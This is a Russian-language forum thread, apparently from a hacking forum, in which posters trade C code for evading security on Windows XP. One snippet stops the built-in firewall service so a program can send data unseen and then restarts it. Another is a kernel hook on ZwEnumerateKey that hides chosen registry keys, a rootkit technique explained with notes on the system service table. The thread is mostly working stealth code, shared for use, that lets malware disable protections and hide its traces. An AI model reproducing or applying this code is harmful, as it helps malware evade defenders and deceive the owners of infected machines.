код прописывает прогу в список разрешенных файрволом, т.е оставляет "следы": А что если воспользоватся более "грубым" способом? Code: #include <winsvc.h> // ... bool BypassFirewall() { SC_HANDLE firewallService, scm; if(!(scm = OpenSCManager(0, 0,SC_MANAGER_ALL_ACCESS))) return FALSE; // в ХР интернальное имя файрвола SharedAccess if (!(firewallService=OpenService(scm,"SharedAccess",SERVICE_ALL_ACCESS))) { CloseServiceHandle(scm); return FALSE; } // останавливаем сервис SERVICE_STATUS m_SERVICE_STATUS; ControlService(firewallService, SERVICE_CONTROL_STOP,&m_SERVICE_STATUS); // далее дожен быть ваш код // который работает в обход файрвола // ... // ... // запускаем заново сервис StartService(firewallService,0,NULL); CloseServiceHandle(firewallService); CloseServiceHandle(scm); return TRUE; } естессно эти методы рабочие в случае если прога запущена с привилегиями администратора т.к нужны права для временой остановки/запуска сервиса (записи в реестр значений - в 1м методе)
Хм... ну не знаю. я бы лишнюю запись в реестре наверно не заметил бы. Правда и маздаевский фаер не юзал бы )) Но все равно молодец.
Сервис будет перезапущен (если ты код смотрел), а оставлять лишнюю запись в реестре имхо палено т.к в там и в правилах файрвола остается полный путь к экзешнику. Идеальным вариантом будет использование пары RegSetValueEx и RegDeleteKeyEx каждый раз когда данные должны посылаться в обход файрвола. -> я же предложил грубую альтернативу, это что провокационный вопрос или желание попинать ногами?
Кстати, а ты пробовал этод метод? У меня ощущение что если фаервол выключен, новые приложения доступ к сети не имееют... А если фаер был выключен? (DEMAND_START) Тогда StopService() вернет ошибку, а StartService его запустит. one more time ... у меня перехватывается ZwEnumerateValueKey в ядре, поэтому можно скрыть любые ключи в реестре ...
ну предварительно перед остановкой можно ретривнуть статус сервиса, и если SERVICE_RUNNING то StopService() дабы не вызывать ошибку 3-й раз )) ну это у тебя, а у тех кто читает топик, нет ))
Code: WCHAR g_swRegHidePrefix[] = L"KeyToHide1"; WCHAR g_swRegHidePrefix2[] = L"KeyToHide2"; NTSTATUS NewZwEnumerateKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_INFORMATION_CLASS KeyInformationClass, OUT PVOID KeyInformation, IN ULONG Length, OUT PULONG ResultLength ) { KEY_BASIC_INFORMATION *kbi = NULL; NTSTATUS ret; ret = TrueZwEnumerateKey( KeyHandle, Index, KeyInformationClass, KeyInformation, Length, ResultLength ); if (!KeyInformationClass) { kbi = (KEY_BASIC_INFORMATION*)KeyInformation; if (RtlCompareMemory( (PVOID)&kbi->Name[0], (PVOID)&g_swRegHidePrefix[0], 18 ) == 18 ) ret = STATUS_NO_SUCH_FILE; if (RtlCompareMemory( (PVOID)&kbi->Name[0], (PVOID)&g_swRegHidePrefix2[0], 16 ) == 16 ) ret = STATUS_NO_SUCH_FILE; } return ret; } Ядро экспортирует указатель на SST, таблицу, в которой храняться адреса системных вызовов ядра. API юзера выполняет какие-то действия обращается к Native-API юзера (ZwOpenKey или NtOpenKey, и т.п.), а они-просто содержат код int 0x2e (в xp-sysenter), и управление передается обработчику прерывания 0x2e - ф-ии KiSystemService. В eax должен быть номер сис. вызова, а в edx (как я помню) - указатель на парамерты... Почти как в Unix... Только там во все регистры заносятся параметры или указатели.